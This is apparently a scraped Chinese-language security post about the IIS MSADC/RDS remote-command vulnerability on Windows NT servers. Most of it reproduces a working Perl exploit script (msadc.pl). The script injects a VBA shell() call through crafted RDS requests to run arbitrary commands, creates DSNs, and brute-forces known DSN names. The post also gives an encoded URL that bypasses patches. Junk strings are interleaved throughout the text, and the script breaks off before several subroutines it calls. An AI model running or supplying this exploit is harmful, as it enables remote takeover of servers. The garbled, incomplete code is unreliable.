IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
)xYGJq4 }_9yemP 涉及程序:
{:`XhPS<B Microsoft NT server
YZ/2:[b 'F Cmbry 描述:
l +#FoN 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}ykc
AK3U Y?JB%%WWI 详细:
ST[E$XL6 如果你没有时间读详细内容的话,就删除:
$&.
rS.* c:\Program Files\Common Files\System\Msadc\msadcs.dll
c- "# 有关的安全问题就没有了。
(6X{ & .-.b:gdO( 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
CWS]821; cjf_,x 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Kq}-) 关于利用ODBC远程漏洞的描述,请参看:
kFQx7m L?b;TjLe http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm x{,W<oXg FtybF 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
-}"nb-RR\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp HXQ
}B$V T)Pr%kF
这里不再论述。
[g$IN/o% *4[P$k$7 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
V_jGL<X| SnGXEQ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
kQO5sX$; 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
QzV%m0 ZEG~ek=jM <ua! ]~ #将下面这段保存为txt文件,然后: "perl -x 文件名"
.}iRe}= <l$ vnq #!perl
co>IJzg #
*:Y9&s^6j # MSADC/RDS 'usage' (aka exploit) script
256V
xn #
QTjnXg?Ri # by rain.forest.puppy
/O[Z #
eY3<LVAX # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
u Uh6/=y # beta test and find errors!
MUMB\K*$ F2dwT use Socket; use Getopt::Std;
Ej$oRo{IG getopts("e:vd:h:XR", \%args);
Nq[-.}Z6 @{@)gE print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
cs)R8vuB)z qDjH^f if (!defined $args{h} && !defined $args{R}) {
6Q}>=R^h print qq~
;rt\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
cC TTjx{ -h <host> = host you want to scan (ip or domain)
`6pz9j] -d <seconds> = delay between calls, default 1 second
K,H xe;- -X = dump Index Server path table, if available
5YQJNP -v = verbose
lYy:A%yDT -e = external dictionary file for step 5
@ [j%V ynf L.%zs Or a -R will resume a command session
-;GB Xq 8n/[oDc] ~; exit;}
Nd**":i$ M#xol/)h $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
UW-`k1 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
^'4I%L" if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
-z>m]YDH if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
SHqz&2u $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
N`7+]T if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
L:Me q`L}\}o if (!defined $args{R}){ $ret = &has_msadc;
BJnysQ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
z=qxZuFkDs rz5@E print "Please type the NT commandline you want to run (cmd /c assumed):\n"
"tmr
s_~ . "cmd /c ";
JgcMk]|' $in=<STDIN>; chomp $in;
'o1lJ?~kH $command="cmd /c " . $in ;
z"V`8D d@
tD0s if (defined $args{R}) {&load; exit;}
68nPz".X UX)QdT45Mh print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
^*WO*f>y &try_btcustmr;
Q57Z~EsF |kqRhR(Ei print "\nStep 2: Trying to make our own DSN...";
HUx-8<ws &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
L%/atl! 7h\U}! print "\nStep 3: Trying known DSNs...";
QX+&[G!DZH &known_dsn;
dSbz$Fc t sUpSXG-W/@ print "\nStep 4: Trying known .mdbs...";
6x@4gPy[ &known_mdb;
^fti<Lw5 hIwqSKq9 if (defined $args{e}){
n/+G^:~_ print "\nStep 5: Trying dictionary of DSN names...";
l:sfM`Z^[ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
x^y&<tA f&C]}P print "Sorry Charley...maybe next time?\n";
aTE;Gy,W exit;
O,0j+1? ]{= qdgJ ##############################################################################
kS)|oUK rnXoA, c/ sub sendraw { # ripped and modded from whisker
6v&@Rlg sleep($delay); # it's a DoS on the server! At least on mine...
,ydn]0SS my ($pstr)=@_;
Fc a_(jw socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
gr4JaV die("Socket problems\n");
nT@FSt if(connect(S,pack "SnA4x8",2,80,$target)){
I6[=tB select(S); $|=1;
HLl"=m1/> print $pstr; my @in=<S>;
=_`cY^ib+ select(STDOUT); close(S);
Zu/1:8x return @in;
Z xR } else { die("Can't connect...\n"); }}
Qz([\Xx: 8%^W<.Y ##############################################################################
r&nEM6 -p f9Wk sub make_header { # make the HTTP request
x.>[A^ my $msadc=<<EOT
5hp)Z7 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
MDfC%2Q User-Agent: ACTIVEDATA
u{|^5%) Host: $ip
QVWUm! Content-Length: $clen
d&%}u1 . Connection: Keep-Alive
0Yfz?:e #=I5_u ADCClientVersion:01.06
u7bji>j Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
nLnzl kl#)0yqN0 --!ADM!ROX!YOUR!WORLD!
oNRp Content-Type: application/x-varg
p+Icq!aH5 Content-Length: $reqlen
iL3k8:x T0K*!j}O EOT
4,:)%KB"V ; $msadc=~s/\n/\r\n/g;
\w2X.2b.F return $msadc;}
{e83 A/{ 9D51@b6k ##############################################################################
~lH2#u>g d6~d)E sub make_req { # make the RDS request
0mI4hy my ($switch, $p1, $p2)=@_;
t&rr;W] my $req=""; my $t1, $t2, $query, $dsn;
i&JI"Dd7 k]yv#Pa if ($switch==1){ # this is the btcustmr.mdb query
_sIr'sR~ $query="Select * from Customers where City=" . make_shell();
<}1GYeP $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
P'oY+# $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
(z X&feq C<N7zM wT elsif ($switch==2){ # this is general make table query
Px?0)^"2 $query="create table AZZ (B int, C varchar(10))";
0<]]q[pr $dsn="$p1";}
-d6PXf5 ]0;,M elsif ($switch==3){ # this is general exploit table query
wO"ezQ $query="select * from AZZ where C=" . make_shell();
=+VI{~.|} $dsn="$p1";}
&_$xMM,X K=!?gd!Vw elsif ($switch==4){ # attempt to hork file info from index server
!&Us^Q^ $query="select path from scope()";
\D}$foHg $dsn="Provider=MSIDXS;";}
4j~WrdI* A|BN>?.t elsif ($switch==5){ # bad query
WmZ,c_ $query="select";
]VK9d;0D $dsn="$p1";}
xO;Qr.3PX
fG|+! $t1= make_unicode($query);
BHZSc(-o $t2= make_unicode($dsn);
I7jIA>ZZi $req = "\x02\x00\x03\x00";
'jBtBFzP- $req.= "\x08\x00" . pack ("S1", length($t1));
Sigu p#.p $req.= "\x00\x00" . $t1 ;
.jRv8x b $req.= "\x08\x00" . pack ("S1", length($t2));
*+<H4.W
H $req.= "\x00\x00" . $t2 ;
D0rqte $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
&Y$)s<u8. return $req;}
KPdlg. aN~x3G ##############################################################################
anFl:= _Uup*#m sub make_shell { # this makes the shell() statement
P!~B07y return "'|shell(\"$command\")|'";}
jQ5FvuNOy #5_pE1 ##############################################################################
8 Tm/gzx mcSZ1d~,( sub make_unicode { # quick little function to convert to unicode
gBE1aw; my ($in)=@_; my $out;
FSS~E [(DL for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
J*]JH{ return $out;}
E1Rz<&L ;V)94YT ##############################################################################
.;NoKO7) ??XtN.]7 sub rdo_success { # checks for RDO return success (this is kludge)
((tWgSZ3 my (@in) = @_; my $base=content_start(@in);
X$ 76#x if($in[$base]=~/multipart\/mixed/){
Vvk\$' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
{aWfD XB1 return 0;}
vmT6^G /n#t.XJY* ##############################################################################
WvHy}1W Dlo4Wy sub make_dsn { # this makes a DSN for us
RUlJP my @drives=("c","d","e","f");
Kw,ln<)2 print "\nMaking DSN: ";
5c3&4,,eR foreach $drive (@drives) {
"aeKrMgc6V print "$drive: ";
}o9(Q8 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[NguQ]B. "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
<N\#6m . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
/lN09j $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
+/2: return 0 if $2 eq "404"; # not found/doesn't exist
&6@e9ff0 if($2 eq "200") {
vKNxL^x foreach $line (@results) {
;#6j9M0 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
w0$l3^}z } return 0;}
X>VxE/ K2t|d[r ##############################################################################
k0!D9tk *(]@T@yN sub verify_exists {
wvg>SfV,e my ($page)=@_;
($:JI3e[; my @results=sendraw("GET $page HTTP/1.0\n\n");
=/F\_/Xw return $results[0];}
S[oRq dG'5: ,n/ ##############################################################################
C$fQ[@ j=TGe sub try_btcustmr {
b:(*C my @drives=("c","d","e","f");
Nyo,6 AA my @dirs=("winnt","winnt35","winnt351","win","windows");
p&,2@(Q 3W}xYYs]^ foreach $dir (@dirs) {
#ui7YUR=2 print "$dir -> "; # fun status so you can see progress
]e]l08 foreach $drive (@drives) {
fIcra print "$drive: "; # ditto
XP_V $reqlen=length( make_req(1,$drive,$dir) ) - 28;
n{r_Xa $reqlenlen=length( "$reqlen" );
0P6< 4 $clen= 206 + $reqlenlen + $reqlen;
e+>&?
x &fWYQ'\> my @results=sendraw(make_header() . make_req(1,$drive,$dir));
OL)M`eVQ' if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
p(Bn! else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
|p{FSS \ .jT"Z~ ##############################################################################
&li&P5!i ,c'a+NQ_t sub odbc_error {
](H
vx my (@in)=@_; my $base;
B%d2 tsDw my $base = content_start(@in);
R^F\2yth- if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
WL5!H.q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
D^W?~7e^r $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I@9k+JB $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
OM
5h>\9 return $in[$base+4].$in[$base+5].$in[$base+6];}
haMt2S2_B: print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
za@`,Yq print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
{BKr/) H $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
; 'J{ylRQ 9oA.!4q ##############################################################################
XDi[Iyj ZICcZG_y sub verbose {
{,rVA(I@ my ($in)=@_;
Nm]\0m0p-
return if !$verbose;
kKg%[zXS print STDOUT "\n$in\n";}
g>*t"Rf: y*Wl(w3 ##############################################################################
#.n%$r l+1GA0'JP sub save {
|J#mgA}( my ($p1, $p2, $p3, $p4)=@_;
d^.fB+)A3 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
(l3P<[[? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
sS|N.2* close OUT;}
\aG:l.IM0 4l*4wx""v ##############################################################################
W8
m*co saaN$tU7 sub load {
A_WtmG_9 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&u/T,jy` open(IN,"<rds.save") || die("Couldn't open rds.save\n");
zWh[U'6 @p=<IN>; close(IN);
]o]*&[C $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
cCH2=v4hU $target= inet_aton($ip) || die("inet_aton problems");
X%._:st print "Resuming to $ip ...";
9
6'{ES9D $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
yy6?16@ if($p[1]==1) {
"cUCB $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
vc_ 5!K%[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
2!35Tj"RFE my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
$xf{m9 8 if (rdo_success(@results)){print "Success!\n";}
,@Izx else { print "failed\n"; verbose(odbc_error(@results));}}
L4'FL?~I elsif ($p[1]==3){
*.DTcV if(run_query("$p[3]")){
Lh5d2}tcO print "Success!\n";} else { print "failed\n"; }}
kWgZIkY elsif ($p[1]==4){
%CP:rAd`M. if(run_query($drvst . "$p[3]")){
\VX~'pkrd/ print "Success!\n"; } else { print "failed\n"; }}
+L86w7 exit;}
R2af>R Ibd
na9z7 ##############################################################################
O0gLu1*1v *XK9-%3 sub create_table {
MMfcY
3#% my ($in)=@_;
Vnv9<=R $reqlen=length( make_req(2,$in,"") ) - 28;
eiaLzI,O $reqlenlen=length( "$reqlen" );
>"Z^8J $clen= 206 + $reqlenlen + $reqlen;
bstc|8< my @results=sendraw(make_header() . make_req(2,$in,""));
@{Q[M3l return 1 if rdo_success(@results);
u9*}@{, my $temp= odbc_error(@results); verbose($temp);
+0Rr5^8u return 1 if $temp=~/Table 'AZZ' already exists/;
0/."R; return 0;}
oiq7I@Y`x j:9kJq>mv ##############################################################################
< g<Lf[n$ 0}UJP sub known_dsn {
_/_1:ivY8 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
;$y(Tvd; my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
lFNf/j^Z "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
7lvUIc?krW "banner", "banners", "ads", "ADCDemo", "ADCTest");
l ^*GqP5 /IS
j0"/$ foreach $dSn (@dsns) {
KGclo-, print ".";
Uk02VuS next if (!is_access("DSN=$dSn"));
jy] hP?QG if(create_table("DSN=$dSn")){
o[bG(qHZ print "$dSn successful\n";
wr=h=vXU[ if(run_query("DSN=$dSn")){
zOpl#%" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
L$GhM!c print "Something's borked. Use verbose next time\n";}}} print "\n";}
Fs_umy# M[ (mH(j ##############################################################################
oOhm`7iy e4V4%Qw sub is_access {
{P_~_5o_ my ($in)=@_;
>69+e+|I $reqlen=length( make_req(5,$in,"") ) - 28;
$Wy7z^t $reqlenlen=length( "$reqlen" );
nz|;6?LCLY $clen= 206 + $reqlenlen + $reqlen;
NW`.RGLI< my @results=sendraw(make_header() . make_req(5,$in,""));
xP.B,1\X my $temp= odbc_error(@results);
,x?H]a) verbose($temp); return 1 if ($temp=~/Microsoft Access/);
bc"E=z return 0;}
g<